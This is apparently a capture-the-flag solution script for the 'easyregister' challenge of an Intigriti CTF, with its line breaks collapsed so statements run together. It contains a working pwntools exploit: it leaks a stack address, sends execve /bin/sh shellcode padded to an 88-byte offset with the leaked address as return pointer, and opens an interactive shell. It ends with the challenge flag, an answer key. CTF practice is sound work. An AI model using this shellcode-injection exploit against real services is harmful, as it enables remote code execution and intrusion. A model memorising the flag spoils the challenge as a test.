```pyfrom pwn import *
#nc easyregister.ctf.intigriti.io 7777p = remote('easyregister.ctf.intigriti.io',7777)
p.recvuntil(b'Initialized attendee listing at ')addr = p.recvuntil(b'.')[:-1]p.recv()
offset = 88shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"ff = int(addr.decode(),16)
payload = b''payload += shellcodepayload += b'A' * (offset - len(shellcode))payload += p64(ff)
p.sendline(payload)p.interactive()
```
```Flag : 1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}```